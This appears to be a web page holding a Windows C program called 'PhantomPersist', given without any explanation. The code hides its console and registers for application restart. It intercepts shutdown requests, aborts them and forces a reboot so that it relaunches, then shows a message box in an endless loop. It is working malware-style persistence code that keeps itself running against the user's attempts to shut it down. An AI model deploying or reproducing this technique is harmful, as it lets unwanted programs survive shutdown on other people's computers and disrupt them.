ByTe [ ]f Digital Life

#include <windows.h>
#include <stdio.h>

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) {
    switch (message) {
    case WM_QUERYENDSESSION:
        printf("Shutdown requested. Blocking for now.\n");
        ShutdownBlockReasonCreate(hWnd, TEXT("PhantomPersist Shutting down..."));
        AbortSystemShutdown(NULL);

        HANDLE hToken;
        TOKEN_PRIVILEGES tkp;
        OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
        LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
        CloseHandle(hToken);

        ShutdownBlockReasonDestroy(hWnd);
        if (!ExitWindowsEx(EWX_RESTARTAPPS | EWX_FORCE, SHTDN_REASON_MAJOR_OTHER | SHTDN_REASON_MINOR_OTHER)) {
            printf("Failed to reboot\n");
        }

        return TRUE;

    case WM_ENDSESSION:
        printf("Shutdown completed.\n");
        ShutdownBlockReasonDestroy(hWnd);
        break;

    case WM_DESTROY:
        PostQuitMessage(0);
        break;

    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}

DWORD WINAPI MessageLoopThread(void* param) {
    // Create a hidden window
    TCHAR szWindowClass[] = TEXT("PhantomPersist_MessageWindow");
    WNDCLASSEX wcex;
    wcex.cbSize = sizeof(WNDCLASSEX);
    wcex.style = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc = WndProc;
    wcex.cbClsExtra = 0;
    wcex.cbWndExtra = 0;
    wcex.hInstance = GetModuleHandle(NULL);
    wcex.hIcon = LoadIcon(NULL, IDI_APPLICATION);
    wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
    wcex.lpszMenuName = NULL;
    wcex.lpszClassName = szWindowClass;
    wcex.hIconSm = LoadIcon(NULL, IDI_APPLICATION);

    if (!RegisterClassEx(&wcex)) {
        printf("Failed to register window class.\n");
        return 1;
    }

    HWND hWnd = CreateWindow(szWindowClass, TEXT(""), WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 0, 0, NULL, NULL, GetModuleHandle(NULL), NULL);
    if (!hWnd) {
        printf("Failed to create hidden window.\n");
        return 1;
    }
    if (!SetProcessShutdownParameters(0x4FF, SHUTDOWN_NORETRY)) {
        if (!SetProcessShutdownParameters(0x400, SHUTDOWN_NORETRY)) {
            if (!SetProcessShutdownParameters(0x3FF, SHUTDOWN_NORETRY)) {
                printf("Failed to set process shutdown parameters.\n");
                return 1;
            }
        }
    }

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return 0;
}

int main()
{
    HWND hConsole = GetConsoleWindow();
    if (hConsole) ShowWindow(hConsole, SW_HIDE);

    if (FAILED(RegisterApplicationRestart(NULL, 0))) {
        printf("Failed to register application restart\n");
        return 1;
    }
    printf("[+] Registered application restart\n");
    printf("[+] Sleeping 60 seconds to ensure registration\n");
    Sleep(60000);
    printf("[+] Starting message loop thread. Go ahead shutdown/restart.\n");
    HANDLE hThread = CreateThread(NULL, 0, MessageLoopThread, NULL, 0, NULL);
    if (!hThread) {
        printf("Failed to create message loop thread.\n");
        return 1;
    }
    CloseHandle(hThread);

    while (1) {
        MessageBoxA(NULL, "GELLO", "LOL", MB_OK);
        Sleep(1000);
    }
}